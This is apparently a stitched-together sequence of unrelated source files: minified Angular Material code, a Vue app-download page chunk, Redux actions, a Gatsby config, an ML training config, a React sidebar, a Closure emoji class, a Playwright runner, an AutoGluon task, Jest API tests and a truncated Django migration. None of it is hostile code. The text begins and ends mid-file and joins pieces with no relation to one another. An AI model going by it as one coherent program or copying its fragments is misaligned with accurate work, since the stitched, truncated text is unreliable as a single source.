currentColor;margin:0}.cdk-high-contrast-active .mat-option[aria-disabled=true]{opacity:.5}.mat-option-text{display:inline-block;flex-grow:1;overflow:hidden;text-overflow:ellipsis}.mat-option .mat-option-ripple{top:0;left:0;right:0;bottom:0;position:absolute;pointer-events:none}.mat-option-pseudo-checkbox{margin-right:8px}[dir=rtl] .mat-option-pseudo-checkbox{margin-left:8px;margin-right:0}\n"]}]}],dt.ctorParameters=function(){return[{type:e.ElementRef},{type:e.ChangeDetectorRef},{type:void 0,decorators:[{type:e.Optional},{type:e.Inject,args:[et]}]},{type:st,decorators:[{type:e.Optional},{type:e.Inject,args:[at]}]}]},(ut=function ut(){}).decorators=[{type:e.NgModule,args:[{imports:[B,o.CommonModule,_,Z],exports:[dt,st],declarations:[dt,st]}]}],
/**
* @license
* Copyright Google LLC All Rights Reserved.
*
* Use of this source code is governed by an MIT-style license that can be
* found in the LICENSE file at https://angular.io/license
*/
t.AnimationCurves=d,t.AnimationDurations=h,t.DateAdapter=w,t.ErrorStateMatcher=U,t.MATERIAL_SANITY_CHECKS=y,t.MAT_DATE_FORMATS=M,t.MAT_DATE_LOCALE=O,t.MAT_DATE_LOCALE_FACTORY=C,t.MAT_NATIVE_DATE_FORMATS=N,t.MAT_OPTGROUP=at,t.MAT_OPTION_PARENT_COMPONENT=et,t.MAT_RIPPLE_GLOBAL_OPTIONS=Q,t.MatCommonModule=_,t.MatLine=Y,t.MatLineModule=z,t.MatNativeDateModule=L,t.MatOptgroup=st,t.MatOption=dt,t.MatOptionModule=ut,t.MatOptionSelectionChange=lt,t.MatPseudoCheckbox=H,t.MatPseudoCheckboxModule=Z,t.MatRipple=tt,t.MatRippleModule=B,t.NativeDateAdapter=P,t.NativeDateModule=j,t.RippleRef=q,t.RippleRenderer=$,t.ShowOnDirtyErrorStateMatcher=F,t.VERSION=g,t._MatOptgroupBase=ot,t._MatOptionBase=pt,t._countGroupLabelsBeforeOption=function ht(t,e,n){if(n.length){for(var i=e.toArray(),r=n.toArray(),o=0,a=0;a<t+1;a++)i[a].group&&i[a].group===r[o]&&o++;return o}return 0},t._getOptionScrollPosition=function gt(t,e,n,i){return t<n?t:t+e>n+i?Math.max(0,t-i+e):n}
/**
* @license
* Copyright Google LLC All Rights Reserved.
*
* Use of this source code is governed by an MIT-style license that can be
* found in the LICENSE file at https://angular.io/license
*/,t.defaultRippleAnimationConfig=G,t.mixinColor=function ft(t,e){return function(t){function n(){for(var n=[],i=0;i<arguments.length;i++)n[i]=arguments[i];var r=t.apply(this,x(n))||this;return r.defaultColor=e,r.color=e,r}return v(n,t),Object.defineProperty(n.prototype,"color",{get:function(){return this._color},set:function(t){var e=t||this.defaultColor;e!==this._color&&(this._color&&this._elementRef.nativeElement.classList.remove("mat-"+this._color),e&&this._elementRef.nativeElement.classList.add("mat-"+e),this._color=e)},enumerable:!1,configurable:!0}),n}(t)},t.mixinDisableRipple=function mt(t){return function(t){function e(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];var i=t.apply(this,x(e))||this;return i._disableRipple=!1,i}return v(e,t),Object.defineProperty(e.prototype,"disableRipple",{get:function(){return this._disableRipple},set:function(t){this._disableRipple=a.coerceBooleanProperty(t)},enumerable:!1,configurable:!0}),e}(t)},t.mixinDisabled=E,t.mixinErrorState=function yt(t){return function(t){function e(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];var i=t.apply(this,x(e))||this;return i.errorState=!1,i.stateChanges=new s.Subject,i}return v(e,t),e.prototype.updateErrorState=function(){var t=this.errorState,e=(this.errorStateMatcher||this._defaultErrorStateMatcher).isErrorState(this.ngControl?this.ngControl.control:null,this._parentFormGroup||this._parentForm);e!==t&&(this.errorState=e,this.stateChanges.next())},e}(t)},t.mixinInitialized=function _t(t){return function(t){function e(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];var i=t.apply(this,x(e))||this;return i._isInitialized=!1,i._pendingSubscribers=[],i.initialized=new s.Observable((function(t){i._isInitialized?i._notifySubscriber(t):i._pendingSubscribers.push(t)})),i}return v(e,t),e.prototype._markInitialized=function(){this._isInitialized=!0,this._pendingSubscribers.forEach(this._notifySubscriber),this._pendingSubscribers=null},e.prototype._notifySubscriber=function(t){t.next(),t.complete()},e}(t)},t.mixinTabIndex=function bt(t,e){return void 0===e&&(e=0),function(t){function n(){for(var n=[],i=0;i<arguments.length;i++)n[i]=arguments[i];var r=t.apply(this,x(n))||this;return r._tabIndex=e,r.defaultTabIndex=e,r}return v(n,t),Object.defineProperty(n.prototype,"tabIndex",{get:function(){return this.disabled?-1:this._tabIndex},set:function(t){this._tabIndex=null!=t?a.coerceNumberProperty(t):this.defaultTabIndex},enumerable:!1,configurable:!0}),n}(t)},t.setLines=function vt(t,e,n){void 0===n&&(n="mat"),t.changes.pipe(l.startWith(t)).subscribe((function(t){var i=t.length;W(e,n+"-2-line",!1),W(e,n+"-3-line",!1),W(e,n+"-multi-line",!1),2===i||3===i?W(e,n+"-"+i+"-line",!0):i>3&&W(e,n+"-multi-line",!0)}))},t.ɵ0=V,t.ɵangular_material_src_material_core_core_a=m,Object.defineProperty(t,"__esModule",{value:!0})}));
|
(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([["chunk-56ee6c4f"],{3047:function(e,s,t){},7115:function(e,s,t){"use strict";t.r(s);var A=function(){var e=this,s=e.$createElement,t=e._self._c||s;return t("div",{staticClass:"page flex-col"},[t("Header"),t("div",{staticClass:"page-box",on:{click:e.openApp}},[e._m(0)])],1)},a=[function(){var e=this,s=e.$createElement,A=e._self._c||s;return A("div",{staticClass:"page-boxOne"},[A("img",{attrs:{src:t("9786"),alt:""}})])}],n=t("da4d"),c={components:{Header:n["a"]},data:function(){return{constants:{}}},methods:{openApp:function(){}}},i=c,o=(t("b8ca"),t("2877")),r=Object(o["a"])(i,A,a,!1,null,"651d4b7d",null);s["default"]=r.exports},"8ee5":function(e,s){e.exports="data:image/png;base64,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"},9786:function(e,s,t){e.exports=t.p+"static/img/mf.f311807c.png"},"97fd":function(e,s,t){},b8ca:function(e,s,t){"use strict";t("3047")},da4d:function(e,s,t){"use strict";var A=function(){var e=this,s=e.$createElement,t=e._self._c||s;return t("div",{staticClass:"head-box"},[e._m(0),t("a",{staticClass:"head-right",on:{click:e.openApp}},[t("span",{staticClass:"info4"},[e._v("立即打开")])])])},a=[function(){var e=this,s=e.$createElement,A=e._self._c||s;return A("div",{staticClass:"head-left"},[A("img",{staticClass:"pic1",attrs:{referrerpolicy:"no-referrer",src:t("8ee5")}}),A("div",{staticClass:"text"},[A("span",{staticClass:"word4"},[e._v("桃壳")]),A("span",{staticClass:"info3"},[e._v("跟随声音找到你~")])])])}],n={data:function(){return{constants:{}}},methods:{openApp:function(){var e=navigator.userAgent,s="",t="";e.indexOf("Android")>-1?(s="XXXXX",t="XXXXXXXXX"):(s="XXXXXX://",t="https://apps.apple.com/cn/app/id1572820769"),window.location.href=s,setTimeout((function(){window.location.href=t}),2500)}}},c=n,i=(t("f5c8"),t("2877")),o=Object(i["a"])(c,A,a,!1,null,"1ba5ec23",null);s["a"]=o.exports},f5c8:function(e,s,t){"use strict";t("97fd")}}]);
|
import { CREATE_USER, CREATE_USER_SUCCESS, CREATE_USER_FAIL } from './constants';
export const addUser = () => ({
type: CREATE_USER
})
export const addUserSuccess = (data) => ({
type: CREATE_USER_SUCCESS,
data,
})
export const addUserFail = (error) => ({
type: CREATE_USER_FAIL,
error,
})
|
const dotenv = require("dotenv")
if (process.env.NODE_ENV !== "production") {
dotenv.config()
}
module.exports = {
siteMetadata: {
title: `NKS`,
description: `Full Stack Web Engineer React | Node | Mongo | Express`,
author: `@nicolaskao`,
siteUrl: "https://wizardly-nightingale-07f855.netlify.com/",
},
plugins: [
`gatsby-plugin-react-helmet`,
`gatsby-plugin-styled-components`,
"gatsby-plugin-page-transitions",
`gatsby-plugin-sitemap`,
// {
// resolve: `gatsby-source-contentful`,
// options: {
// spaceId: `astaev2fuoib`,
// // Learn about environment variables: https://gatsby.dev/env-vars
// // accessToken: process.env.CONTENTFUL_ACCESS_TOKEN,
// },
// },
{
resolve: "gatsby-plugin-web-font-loader",
options: {
google: {
families: ["Roboto:300,400,700"],
},
},
},
{
resolve: `gatsby-source-filesystem`,
options: {
name: `images`,
path: `${__dirname}/src/images`,
},
},
`gatsby-transformer-sharp`,
`gatsby-plugin-sharp`,
{
resolve: `gatsby-plugin-manifest`,
options: {
name: `NKS Legal Marketing`,
short_name: `NKS`,
start_url: `/`,
background_color: `#0d282f`,
theme_color: `#0d282f`,
display: `minimal-ui`,
icon: `src/images/Logo_Only_HighQuality.png`, // This path is relative to the root of the site.
},
},
// this (optional) plugin enables Progressive Web App + Offline functionality
// To learn more, visit: https://gatsby.dev/offline
// `gatsby-plugin-offline`,
],
}
|
_base_ = [
'./base_cfg.py',
'./model_cfgs/transloc3d_cfg.py',
'./dataset_cfgs/university_cfg.py'
]
task_type = 'default_me'
optimizer_type = 'Adam'
optimizer_cfg = dict(
lr=2e-5,
weight_decay=0,
betas=(0.9, 0.999),
)
scheduler_type = 'MultiStepLR'
scheduler_cfg = dict(
gamma=0.2,
milestones=(30, )
)
end_epoch = 50
train_cfg = dict(
save_per_epoch=2,
val_per_epoch=2,
batch_sampler_type='ExpansionBatchSampler',
batch_sampler_cfg=dict(
max_batch_size=256,
batch_size_expansion_rate=1.4,
batch_expansion_threshold=0.7,
batch_size=32,
shuffle=True,
drop_last=True,
),
num_workers=16,
)
eval_cfg = dict(
batch_sampler_cfg=dict(
batch_size=32,
drop_last=False,
),
num_workers=16,
normalize_embeddings=False,
)
|
/**
* Copyright 2004-present Facebook. All Rights Reserved.
*
* @providesModule DocsSidebar
* @jsx React.DOM
*/
var Metadata = require('Metadata');
var React = require('React');
var Container = require('Container');
var SideNav = require('SideNav');
var DocsSidebar = React.createClass({
getCategories: function() {
var metadatas = Metadata.files.filter(function(metadata) {
return metadata.layout === 'docs';
});
// Build a hashmap of article_id -> metadata
var articles = {}
for (var i = 0; i < metadatas.length; ++i) {
var metadata = metadatas[i];
articles[metadata.id] = metadata;
}
// Build a hashmap of article_id -> previous_id
var previous = {};
for (var i = 0; i < metadatas.length; ++i) {
var metadata = metadatas[i];
if (metadata.next) {
if (!articles[metadata.next]) {
throw '`next: ' + metadata.next + '` in ' + metadata.id + ' doesn\'t exist';
}
previous[articles[metadata.next].id] = metadata.id;
}
}
// Find the first element which doesn't have any previous
var first = null;
for (var i = 0; i < metadatas.length; ++i) {
var metadata = metadatas[i];
if (!previous[metadata.id]) {
first = metadata;
break;
}
}
var categories = [];
var currentCategory = null;
var metadata = first;
var i = 0;
while (metadata && i++ < 1000) {
if (!currentCategory || metadata.category !== currentCategory.name) {
currentCategory && categories.push(currentCategory);
currentCategory = {
name: metadata.category,
links: []
}
}
currentCategory.links.push(metadata);
metadata = articles[metadata.next];
}
categories.push(currentCategory);
return categories;
},
render: function() {
return (
<Container className="docsNavContainer" id="docsNav" wrapper={false}>
<SideNav
root="/jest/docs/"
title="Docs"
contents={this.getCategories()}
current={this.props.metadata}
/>
</Container>
);
}
});
module.exports = DocsSidebar;
|
/**
* @license
* Copyright The Closure Library Authors.
* SPDX-License-Identifier: Apache-2.0
*/
/**
* @fileoverview Emoji implementation.
*/
goog.provide('goog.ui.emoji.Emoji');
/**
* Creates an emoji.
*
* A simple wrapper for an emoji.
*
* @param {string} url URL pointing to the source image for the emoji.
* @param {string} id The id of the emoji, e.g., 'std.1'.
* @param {number=} opt_height The height of the emoji, if undefined the
* natural height of the emoji is used.
* @param {number=} opt_width The width of the emoji, if undefined the natural
* width of the emoji is used.
* @param {string=} opt_altText The alt text for the emoji image, eg. the
* unicode character representation of the emoji.
* @constructor
* @final
*/
goog.ui.emoji.Emoji = function(url, id, opt_height, opt_width, opt_altText) {
/**
* The URL pointing to the source image for the emoji
*
* @type {string}
* @private
*/
this.url_ = url;
/**
* The id of the emoji
*
* @type {string}
* @private
*/
this.id_ = id;
/**
* The height of the emoji
*
* @type {?number}
* @private
*/
this.height_ = opt_height || null;
/**
* The width of the emoji
*
* @type {?number}
* @private
*/
this.width_ = opt_width || null;
/**
* The unicode of the emoji
*
* @type {?string}
* @private
*/
this.altText_ = opt_altText || null;
};
/**
* The name of the goomoji attribute, used for emoji image elements.
* @type {string}
* @deprecated Use goog.ui.emoji.Emoji.DATA_ATTRIBUTE instead.
*/
goog.ui.emoji.Emoji.ATTRIBUTE = 'goomoji';
/**
* The name of the goomoji data-attribute, used for emoji image elements. Data
* attributes are the preferred way in HTML5 to set custom attributes.
* @type {string}
*/
goog.ui.emoji.Emoji.DATA_ATTRIBUTE = 'data-' + goog.ui.emoji.Emoji.ATTRIBUTE;
/**
* @return {string} The URL for this emoji.
*/
goog.ui.emoji.Emoji.prototype.getUrl = function() {
return this.url_;
};
/**
* @return {string} The id of this emoji.
*/
goog.ui.emoji.Emoji.prototype.getId = function() {
return this.id_;
};
/**
* @return {?number} The height of this emoji.
*/
goog.ui.emoji.Emoji.prototype.getHeight = function() {
return this.height_;
};
/**
* @return {?number} The width of this emoji.
*/
goog.ui.emoji.Emoji.prototype.getWidth = function() {
return this.width_;
};
/**
* @return {?string} The alt text for the emoji image, eg. the unicode character
* representation of the emoji.
*/
goog.ui.emoji.Emoji.prototype.getAltText = function() {
return this.altText_;
};
|
const playwright = require('playwright');
const path = require('path');
const serverProcess = require('child_process').fork(path.resolve(__dirname, '..', 'web_server'), {
env: { PLAYWRIGHT_TEST: 1 },
});
const port = process.env.PORT || 3000;
const host = 'localhost';
const browserEnv = process.env.PLAYWRIGHT_BROWSER;
if (!['chromium', 'firefox', 'webkit'].includes(browserEnv)) {
throw new Error(
`PLAYWRIGHT_BROWSER environment variable must be either 'chromium', 'webkit' or 'firefox' (currently ${browserEnv})`
);
}
const runTests = async (browserType) => {
const browser = await browserType.launch();
const page = await browser.newPage();
await page.goto(`http://${host}:${port}`);
console.log(`\nrunning tests in ${browserType.name()}`);
await new Promise((resolve) => {
// Expose a function inside the playwright browser to log to the NodeJS process stdout
page.exposeFunction('onTestLog', ({ detail }) => {
console.log(detail);
});
// Expose a function inside the playwright browser to exit with the right status code when tests pass/fail
page.exposeFunction('onTestResult', ({ detail }) => {
console.log(`${browserType.name()} tests complete: ${detail.passes}/${detail.total} passed`);
if (detail.pass) {
browser.close();
resolve();
} else {
console.log(`${browserType.name()} tests failed, exiting with code 1`);
process.exit(1);
}
});
// Use page.evaluate to add these functions as event listeners to the 'testLog' and 'testResult' Custom Events.
// These events are fired by the custom mocha reporter in playwrightSetup.js
page.evaluate(() => {
window.addEventListener('testLog', ({ type, detail }) => {
onTestLog({ type, detail });
});
window.addEventListener('testResult', ({ type, detail }) => {
onTestResult({ type, detail });
});
});
});
};
(async () => {
try {
if (browserEnv) {
// If the PLAYWRIGHT_BROWSER env var is set, only run tests in the specified browser...
await runTests(playwright[browserEnv]);
} else {
// ...otherwise run all the browsers
await runTests(playwright.chromium);
await runTests(playwright.webkit);
await runTests(playwright.firefox);
}
} finally {
serverProcess.kill();
}
})();
|
# -*- coding: utf-8 -*-
"""
This subpackage is the collection of some usefully utils
:Author: Verf
:Email: verf@protonmail.com
:License: MIT
"""
from .logger import logger
__all__ = [
'logger',
]
|
const generateBufferPosition1 = require('./generateBufferPosition1.js');
const [,, input,] = process.argv;
const pos1Generator = generateBufferPosition1({ steps: parseInt(input, 10) });
const pos1AtElement = (element) => {
for(const { currentElement, pos1 } of pos1Generator) {
if (currentElement === element) {
return pos1;
}
}
}
const pos1 = pos1AtElement(50000000);
console.log(pos1);
|
import {registry} from '@jahia/ui-extender';
import register from './PersonalApiTokens.register';
export default function () {
window.jahia.i18n.loadNamespaces('personal-api-tokens');
registry.add('callback', 'personal-api-tokens', {
targets: ['jahiaApp-init:99'],
callback: register
});
}
|
import copy
import logging
import mxnet as mx
from mxnet import gluon, nd
from ...core.optimizer import *
from ...core.loss import *
from ...core import *
from ...searcher import *
from ...scheduler import *
from ...scheduler.resource import get_cpu_count, get_gpu_count
from ..base import BaseTask
from ...utils import update_params
from .dataset import get_dataset
from .pipeline import train_image_classification
from .utils import *
from .nets import *
from .classifier import Classifier
__all__ = ['ImageClassification']
logger = logging.getLogger(__name__)
class ImageClassification(BaseTask):
"""AutoGluon ImageClassification Task
"""
@staticmethod
def Dataset(*args, **kwargs):
"""Dataset for AutoGluon image classification tasks, can either be a
:class:`ImageFolderDataset`, :class:`RecordDataset`, or a
popular dataset already built into AutoGluon ('mnist', 'cifar10', 'cifar100', 'imagenet').
Parameters
----------
name : str, optional
Which built-in dataset to use, will override all other options if specified.
The options are ('mnist', 'cifar', 'cifar10', 'cifar100', 'imagenet')
train : bool, default True
Whether this dataset should be used for training or validation.
train_path : str
The training data location. If using :class:`ImageFolderDataset`,
image folder`path/to/the/folder` should be provided.
If using :class:`RecordDataset`, the `path/to/*.rec` should be provided.
input_size : int
The input image size.
crop_ratio : float
Center crop ratio (for evaluation only)
"""
return get_dataset(*args, **kwargs)
@staticmethod
def fit(dataset,
net=Categorical('ResNet50_v1b', 'ResNet18_v1b'),
optimizer= SGD(learning_rate=Real(1e-3, 1e-2, log=True),
wd=Real(1e-4, 1e-3, log=True)),
lr_scheduler='cosine',
loss=SoftmaxCrossEntropyLoss(),
split_ratio=0.8,
batch_size=64,
input_size=224,
epochs=20,
metric='accuracy',
nthreads_per_trial=4,
ngpus_per_trial=1,
hybridize=True,
search_strategy='random',
plot_results=False,
verbose=False,
search_options={},
time_limits=None,
resume=False,
checkpoint='checkpoint/exp1.ag',
visualizer='none',
num_trials=2,
dist_ip_addrs=[],
grace_period=None,
auto_search=True):
"""
Auto fit on image classification dataset
Parameters
----------
dataset : str or :meth:`autogluon.task.ImageClassification.Dataset`
Training dataset.
net : str or :class:`autogluon.space.AutoGluonObject`
Network candidates.
optimizer : str or :class:`autogluon.space.AutoGluonObject`
optimizer candidates.
metric : str or object
observation metric.
loss : mxnet.gluon.loss
training loss function.
num_trials : int
number of trials in the experiment.
split_ratio : float, defaut 0.8
train val split ratio.
time_limits : int
training time limits in seconds.
resources_per_trial : dict
Machine resources to allocate per trial.
savedir : str
Local dir to save training results to.
search_strategy : str
Search Algorithms ('random', 'bayesopt' and 'hyperband')
resume : bool
If checkpoint exists, the experiment will resume from there.
Examples
--------
>>> dataset = task.Dataset(train_path='~/data/train',
>>> test_path='data/test')
>>> results = task.fit(dataset,
>>> nets=ag.space.Categorical['resnet18_v1', 'resnet34_v1'],
>>> time_limits=time_limits,
>>> ngpus_per_trial=1,
>>> num_trials = 4)
"""
if auto_search:
# The strategies can be injected here, for example: automatic suggest some hps
# based on the dataset statistics
net = auto_suggest_network(dataset, net)
nthreads_per_trial = get_cpu_count() if nthreads_per_trial > get_cpu_count() else nthreads_per_trial
ngpus_per_trial = get_gpu_count() if ngpus_per_trial > get_gpu_count() else ngpus_per_trial
train_image_classification.register_args(
dataset=dataset,
net=net,
optimizer=optimizer,
lr_scheduler=lr_scheduler,
loss=loss,
metric=metric,
num_gpus=ngpus_per_trial,
split_ratio=split_ratio,
batch_size=batch_size,
input_size=input_size,
epochs=epochs,
verbose=verbose,
num_workers=nthreads_per_trial,
hybridize=hybridize,
final_fit=False)
scheduler_options = {
'resource': {'num_cpus': nthreads_per_trial, 'num_gpus': ngpus_per_trial},
'checkpoint': checkpoint,
'num_trials': num_trials,
'time_out': time_limits,
'resume': resume,
'visualizer': visualizer,
'time_attr': 'epoch',
'reward_attr': 'classification_reward',
'dist_ip_addrs': dist_ip_addrs,
'searcher': search_strategy,
'search_options': search_options,
'plot_results': plot_results,
}
if search_strategy == 'hyperband':
scheduler_options.update({
'searcher': 'random',
'max_t': epochs,
'grace_period': grace_period if grace_period else epochs//4})
results = BaseTask.run_fit(train_image_classification, search_strategy,
scheduler_options)
args = sample_config(train_image_classification.args, results['best_config'])
model = get_network(args.net, results['num_classes'], mx.cpu(0))
update_params(model, results.pop('model_params'))
return Classifier(model, results, default_val_fn, checkpoint, args)
|
const request = require('supertest')
const app = require('../../../app')
const TicTacToe = require('../logic/tictactoe')
const game = new TicTacToe()
describe('GET /api/update/:cell', () => {
it('should return an object with a updated game (new move has been made)', async () => {
const cell = '0,0'
const res = await request(app).get(`/api/update/${cell}`)
expect(res.status).toBe(200)
// Make a move with cell and get updated gamestate
game.makeMove(cell)
var gameState = game.getGameState()
// Game state should return true on validMove
expect(['X', 'O'].includes(gameState.currentPlayer)).toBe(true)
expect(gameState.moves).toBeGreaterThanOrEqual(0)
expect(gameState.moves).toBeLessThanOrEqual(9)
expect(gameState.maxMoves).toBe(9)
expect([true, false].includes(gameState.validMove)).toBe(true)
expect(['X', 'O', 'T', null].includes(gameState.winner)).toBe(true)
// Iterate through the grid and check each cell
gameState.grid.map((row) => {
row.map((cell) => {
expect([null, 'X', 'O']).toContain(cell)
})
})
let currPlayer = gameState.currentPlayer
let currMoves = gameState.moves
// Make another move with cell and get updated gamestate validMove
gameState.validMove = game.makeMove(cell).validMove
// Game state should return false on validMove
expect(gameState.currentPlayer).toBe(currPlayer)
expect(gameState.moves).toBe(currMoves)
expect([true, false].includes(gameState.validMove)).toBe(false)
expect(['X', 'O', 'T', null].includes(gameState.winner)).toBe(true)
// Iterate through the grid and check each cell
gameState.grid.map((row) => {
row.map((cell) => {
expect([null, 'X', 'O']).toContain(cell)
})
})
})
})
describe('GET /api/reset/', () => {
it('should return an object with a new game (board has been reset)', async () => {
const res = await request(app).get('/api/reset/')
expect(res.status).toBe(200)
// Initialize a new game and get updated gamestate
game.newGame()
var gameState = game.getGameState()
expect(gameState.currentPlayer).toBe('X')
expect.arrayContaining(gameState.grid)
expect(gameState.moves).toBe(0)
expect(gameState.maxMoves).toBe(9)
expect(gameState.winner).toBeNull()
expect([true, false].includes(gameState.validMove)).toBe(true)
})
})
describe('GET /api/state/', () => {
it('should return an object with the current gamestate', async () => {
const res = await request(app).get('/api/state/')
var gameState = game.getGameState()
expect(res.status).toBe(200)
expect(['X', 'O'].includes(gameState.currentPlayer)).toBe(true)
expect(gameState.moves).toBeGreaterThanOrEqual(0)
expect(gameState.moves).toBeLessThanOrEqual(9)
expect(gameState.maxMoves).toBe(9)
expect([true, false].includes(gameState.validMove)).toBe(true)
expect(['X', 'O', 'T', null].includes(gameState.winner)).toBe(true)
// Iterate through the grid and check each cell
gameState.grid.map((row) => {
row.map((cell) => {
expect([null, 'X', 'O']).toContain(cell)
})
})
})
})
|
# Generated by Django 2.1.2 on 2018-12-05 09:48
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('Camelot', '0006_product_shoppingcart'),
]
operations = [
migrations.AddField(
model_name='product',
name='shopid',
